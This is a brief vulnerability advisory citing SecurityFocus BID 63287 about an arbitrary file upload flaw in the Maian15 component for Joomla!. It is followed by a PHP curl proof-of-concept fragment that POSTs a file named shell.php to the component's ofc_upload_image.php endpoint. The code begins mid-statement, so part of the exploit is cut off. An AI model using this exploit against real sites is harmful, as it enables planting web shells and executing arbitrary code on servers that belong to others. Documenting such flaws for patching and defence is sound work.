source: https://www.securityfocus.com/bid/63287/info The Maian15 component for Joomla! is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input. An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application. "; $ch = curl_init("http://www.example.com/path/administrator/components/com_maian15/charts/php-ofc-library/ofc_upload_image.php?name=shell.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, @$uploadfile); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?>